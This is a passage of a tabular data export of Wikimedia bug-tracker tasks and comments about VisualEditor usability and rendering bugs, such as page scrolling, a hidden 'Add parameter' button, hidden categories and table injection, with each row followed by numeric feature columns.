+**Severity**: enhancement",High,80.0,1373028000,1383279877.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-p53a3hhm2h3bhitmo2np,task_description,resolved,True,c1,3,False,False,False,0,,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,1,0,0,0,0
+235736,VisualEditor: Add close icon to page notices fly-out,We did this as part of the fixes to the toolbar.,,,1383279877,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-p53a3hhm2h3bhitmo2np,task_subcomment,,True,c1,3,True,,,17,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+52792,VisualEditor: Using the formatting drop-down scrolls the page to the top (except in Firefox),"This happened on MediaWiki, he.wiki and en.wiki on Chrome.
+
+Open some article for editing (preferably a long one so the effect is seen)
+add some text in the middle or end, mark it and make it a ""Heading"". 
+
+Observed result: The text turns into a heading, but the entire edit section scrolls up to the top of the page. This is especially annoying when the page is long and when the edit is done in the middle.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",High,80.0,1373007960,1373415137.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-tgytmlqjykzpjs6zkq4g,task_description,resolved,True,c1,3,False,False,True,0,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+235407,VisualEditor: Using the formatting drop-down scrolls the page to the top (except in Firefox),This is now fixed by the above commit; we'll get it deployed soon. Sorry for the disruption.,,,1373414274,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tgytmlqjykzpjs6zkq4g,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+235401,VisualEditor: Using the formatting drop-down scrolls the page to the top (except in Firefox),"Change 72768 merged by jenkins-bot:
+Affordances for MenuWidget to be optionally focusable.
+
+https://gerrit.wikimedia.org/r/72768",,,1373413453,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgytmlqjykzpjs6zkq4g,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+235395,VisualEditor: Using the formatting drop-down scrolls the page to the top (except in Firefox),"Change 72768 had a related patch set uploaded by Robmoen:
+Affordances for MenuWidget to be optionally focusable.
+
+https://gerrit.wikimedia.org/r/72768",,,1373400275,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgytmlqjykzpjs6zkq4g,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+235390,VisualEditor: Using the formatting drop-down scrolls the page to the top (except in Firefox),*** Bug 50860 has been marked as a duplicate of this bug. ***,,,1373157160,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tgytmlqjykzpjs6zkq4g,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+235382,VisualEditor: Using the formatting drop-down scrolls the page to the top (except in Firefox),"Confirmed in Chrome, Safari and not in Firefox, for whatever reason.",,,1373048007,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tgytmlqjykzpjs6zkq4g,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+235377,VisualEditor: Using the formatting drop-down scrolls the page to the top (except in Firefox),"I just checked the editor on Firefox 22.0, and it does not scroll there (works as expected). The bug seems to be in Chrome only. 
+
+If it helps, that's the UserAgent for my Chrome browser:
+
+ Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36",,,1373009332,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-tgytmlqjykzpjs6zkq4g,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,0,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+52774,"VisualEditor: Move “add parameter” button to alongside the search field, not below the results list, so it can be found","**Author:** `turingt`
+
+**Description:**
+At the Transclusion dialog, after a click or double-click on the chosen parameter, nothing happens. Is the user expected to click on the ""Add parameter"" label at the top? To press Enter? To read the user guide for instruction on how  ? None of these steps help.
+
+This is a usability bug - the actual button is hidden below the fold, at the end of a very long list that is not intended to be scrolled through, and thus hard to discover. The button should be always visible in the dialog - otherwise, the dialog becomes unusable with long lists of parameters.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372974060,1373932787.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-mlttagm5jcb3oqt5j734,task_description,resolved,True,c1,3,False,False,True,0,,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0
+234285,"VisualEditor: Move “add parameter” button to alongside the search field, not below the results list, so it can be found","This issue is now fixed (or, rather, the button is no longer needed), as we've gone instead with single-click-to-insert, which will be deployed in the next few minutes.",,,1373932787,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mlttagm5jcb3oqt5j734,task_subcomment,,True,c1,3,True,,,2,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0
+234277,"VisualEditor: Move “add parameter” button to alongside the search field, not below the results list, so it can be found","Change 73865 merged by jenkins-bot:
+Single-click insertion
+
+https://gerrit.wikimedia.org/r/73865",,,1373932432,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mlttagm5jcb3oqt5j734,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+234271,"VisualEditor: Move “add parameter” button to alongside the search field, not below the results list, so it can be found","Change 73865 had a related patch set uploaded by Trevor Parscal:
+Single-click insertion
+
+https://gerrit.wikimedia.org/r/73865",,,1373922494,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mlttagm5jcb3oqt5j734,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+52773,"[Regression] VisualEditor: The ""Add parameter"" confirmation button should be close to the input field (at least visible)","Especially when a template has many parameters;
+scrolling until you find the actual button to add them,
+having to add them one by one and having to do so by clicking each time on the name of the template itself to get to the list again, it's confusing users.
+There's already a bug about mandatory parameters not being enforced; I am not sure of the behaviour related to the order of the parameters, but it would be great if the editor could keep them in the same order they're being chosen with. Thanks :)
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",High,80.0,1372970700,1374257794.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-3x6yvjlb5kfqndi3ivao,task_description,invalid,True,c1,3,False,False,True,0,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+234224,"[Regression] VisualEditor: The ""Add parameter"" confirmation button should be close to the input field (at least visible)",There is no longer such a button (as of a week ago).,,,1374257794,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-3x6yvjlb5kfqndi3ivao,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0
+234218,"[Regression] VisualEditor: The ""Add parameter"" confirmation button should be close to the input field (at least visible)","Created attachment 12830
+Screenshot of how it used to be
+
+Note that though this is how it was. It was also true that when the text in the input field was very long (like, very very long, as long as the dialog is wide) the button would jump to *below* the parameter list (as opposed to directly below the input field or just stay where it was).
+
+
+I propose that we either keep the current behaviour of the input field having a fixed width, but making sure that width is without the width of the ""Add"" button so that that one always stays where it should be (similar to having the ""Go"" button of a search field next to the input and not at the bottom of a variable-length and scrollable list of results).
+
+Alternatively we could bring back the dynamic-width behaviour but when we'd still need to make sure it doesn't go wider than the width allotted to keep the button on the same line as well.
+
+**Attached**: {F11129}",,,1373539291,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-3x6yvjlb5kfqndi3ivao,task_subcomment,,True,c1,3,True,,,1,,0,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,1,1,1,1,0,1,0,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+234211,"[Regression] VisualEditor: The ""Add parameter"" confirmation button should be close to the input field (at least visible)","Created attachment 12829
+Screenshot of the problem (current version)
+
+No add button anywhere in sight, users are likely to be blocked indefinitely with no ability to add any parameters.
+
+**Attached**: {F11128}",,,1373539077,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-3x6yvjlb5kfqndi3ivao,task_subcomment,,True,c1,3,True,,,1,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+234203,"[Regression] VisualEditor: The ""Add parameter"" confirmation button should be close to the input field (at least visible)","Though I don't know for sure, I think this is a recent regression. the button used to be where it should be (next to the input field). However at that time the input field width was also dynamic (widening as you type). I suspect Trevor ""fixed"" that odd overflow bug by moving the bottom out of the visible form area but probably tested it only with a small template where it was still in sight.
+
+Adding screenshots for clarity.",,,1373538997,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-3x6yvjlb5kfqndi3ivao,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+234196,"[Regression] VisualEditor: The ""Add parameter"" confirmation button should be close to the input field (at least visible)",Works for me. Can we twiddle with the prioritisation and criticality? This is a big workflow to have practically broken.,,,1373538953,,PHID-USER-j5ma2nageni56xp567v5,True,,,PHID-TASK-3x6yvjlb5kfqndi3ivao,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,1,0,0,0,0
+234189,"[Regression] VisualEditor: The ""Add parameter"" confirmation button should be close to the input field (at least visible)","We're getting various reports of this kind, let's try and keep them somewhat focussed on a single tangible thing. If you don't mind I'll turn this into:
+
+The ""Add parameter"" confirmation button should be next to the input field
+
+  .. not at the bottom of the page after a potential long list of paramaters one has to scroll through to even discover the button.",,,1373538890,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-3x6yvjlb5kfqndi3ivao,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,1,1,1,0,0,1,0,1,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,0
+234184,"[Regression] VisualEditor: The ""Add parameter"" confirmation button should be close to the input field (at least visible)",We really need a fix on this. I just tried to add a template (cite web) and was so confused I had to reach out to Timo and Guillaume to work out how in the hells you add a parameter. It's...tremendously counterintuitive on any template with more than 5 params.,,,1373538824,,PHID-USER-j5ma2nageni56xp567v5,True,,,PHID-TASK-3x6yvjlb5kfqndi3ivao,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0
+234177,"[Regression] VisualEditor: The ""Add parameter"" confirmation button should be close to the input field (at least visible)","Agreed. This is what I was going to add into a new feature request:
+
+---------
+
+In the current version of the template editor, the user needs to select a parameter, click ""Add parameter"", enter the value, go back, and rinse and repeat for all the other parameters.
+
+There are at least two issues with this workflow:
+
+* For templates with a long list of parameters, the ""Add parameter"" button is hidden at the end of the list, so it's not obvious what to do after selecting a parameter
+*: Possible solution: Give each parameter a button that adds it to the left column (like a green ""+"" sign, or something)
+
+* If the user needs/wants to add many parameters, the process can be quite long.
+*: Possible solution: Add an ""Add all parameters"" button, and possibly an ""Add all required parameters"" button as well.",,,1373034592,,PHID-USER-z6nzrwuaij3spgyg23jt,True,,,PHID-TASK-3x6yvjlb5kfqndi3ivao,task_subcomment,,True,c1,3,False,,,0,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0
+52763,VisualEditor: Mark hidden categories as different in the meta-data dialog so users understand they won't display,"The existing editing interface stores data on hidden categories, and on the templates in use. This is not displayed in the existing VE - it seems like the sort of thing the page settings page might be good for.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1372964580,1393467412.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-2avh7ag4txo4yazyqwg3,task_description,resolved,True,c1,3,False,False,False,0,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+233632,VisualEditor: Mark hidden categories as different in the meta-data dialog so users understand they won't display,"Maybe we could show these a bit more clear in the dialog, but closing for now.",,,1393467412,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2avh7ag4txo4yazyqwg3,task_subcomment,,True,c1,3,True,,,34,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,1,0,0
+233627,VisualEditor: Mark hidden categories as different in the meta-data dialog so users understand they won't display,"Change 113464 merged by jenkins-bot:
+Mark hidden categories as different in the meta-data dialog
+
+https://gerrit.wikimedia.org/r/113464",,,1393467180,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2avh7ag4txo4yazyqwg3,task_subcomment,,True,c1,3,False,,,34,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+233621,VisualEditor: Mark hidden categories as different in the meta-data dialog so users understand they won't display,"Change 113464 had a related patch set uploaded by Alex Monk:
+VisualEditor: Mark hidden categories as different in the meta-data dialog so users understand they won't display
+
+https://gerrit.wikimedia.org/r/113464",,,1392414019,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2avh7ag4txo4yazyqwg3,task_subcomment,,True,c1,3,False,,,32,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+233613,VisualEditor: Mark hidden categories as different in the meta-data dialog so users understand they won't display,"(In reply to Alex Monk from comment #4)
+> Am I right in thinking that the category data comes from Parsoid? If so then
+> it might be useful to include whether the category is hidden or not there?
+
+Okay so after discussion with James and Gabriel on IRC, for now I'm going to query the API when the category dialog loads to get this information. Later to be replaced by a general CSS cache API query (see bug 37901).",,,1392400602,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-2avh7ag4txo4yazyqwg3,task_subcomment,,True,c1,3,True,,,32,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+233606,VisualEditor: Mark hidden categories as different in the meta-data dialog so users understand they won't display,Am I right in thinking that the category data comes from Parsoid? If so then it might be useful to include whether the category is hidden or not there?,,,1392168563,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-2avh7ag4txo4yazyqwg3,task_subcomment,,True,c1,3,True,,,32,,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+233600,VisualEditor: Mark hidden categories as different in the meta-data dialog so users understand they won't display,Re-wording to be less confusing. Sorry!,,,1392062209,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2avh7ag4txo4yazyqwg3,task_subcomment,,True,c1,3,True,,,32,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0
+233596,VisualEditor: Mark hidden categories as different in the meta-data dialog so users understand they won't display,I think I'm missing something here - it appears that I can see hidden categories and add hidden categories to pages using the categories tool. Is this bug still valid?,,,1391984557,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-2avh7ag4txo4yazyqwg3,task_subcomment,,True,c1,3,True,,,31,,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0
+233592,VisualEditor: Mark hidden categories as different in the meta-data dialog so users understand they won't display,"""A late answer to the question of whether there are hidden categories that are actually embedded in articles instead of templates: YES. For instance Category:Year of birth missing (living people) is directly embedded into some tens of thousands of them""",,,1373212682,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-2avh7ag4txo4yazyqwg3,task_subcomment,,True,c1,3,True,,,0,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,1,0,1,0,1,1,1,1,0,0,0
+52754,VisualEditor: broken <table> syntax causes VE to inject additional <table> html,"In this case, https://en.wikipedia.org/w/index.php?title=Long_Island&diff=562848384&oldid=562113547 - oh dear.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1372954980,1374329698.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-44thcl26amo7hsho63fi,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+233093,VisualEditor: broken <table> syntax causes VE to inject additional <table> html,"
+
+*** This bug has been marked as a duplicate of bug 51217 ***",,,1374329698,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-44thcl26amo7hsho63fi,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+233087,VisualEditor: broken <table> syntax causes VE to inject additional <table> html,"A minor change in a completely unrelated part of the article causes a copy of the broken table to be injected into the article, and a '<tr' (no closing >) is also included.  Upping priority/importance as it should at least ignore elements it doesnt properly understand.  The <table> was not so broken that the wikitext up to the </table> should have been ignored.
+
+I am able to reproduce the '<tr' being added [[testwiki:User:John_Vandenberg/Table_test]], but in my test the table wasnt copied.
+
+After fixing the syntax on enwp, the problem goes away.
+
+https://en.wikipedia.org/w/index.php?title=Long_Island&action=history&offset=201307180315&limit=3",,,1374117478,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-44thcl26amo7hsho63fi,task_subcomment,,True,c1,3,False,,,2,,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1
+52749,VisualEditor: Incorrectly displaying nested references,"Copied from English Wikipedia:
+
+A similar bug was reported as #49536 , but closed as fixed a while ago. Article Otto I has a reference (""ref"") to ""Thompson"" (numbered #11 in old edit mode) inside an explanatory footnote ""efn"". The notes are generated below the article using ""notelist"". Ref 11 Thompson is not included in the reflist of VE, but shown in regular read mode. Just compare the reference lists in read and in VE edit mode to see the difference. GermanJoe (talk) 13:03, 4 July 2013 (UTC)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51289
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52398",High,80.0,1372948260,1408586751.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-6255kvv4aihzvptanmel,task_description,resolved,True,c1,3,False,False,False,0,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+232798,VisualEditor: Incorrectly displaying nested references,Filed a bug against Parsoid: see bug 69827,,,1408586751,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-6255kvv4aihzvptanmel,task_subcomment,,True,c1,3,True,,,59,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
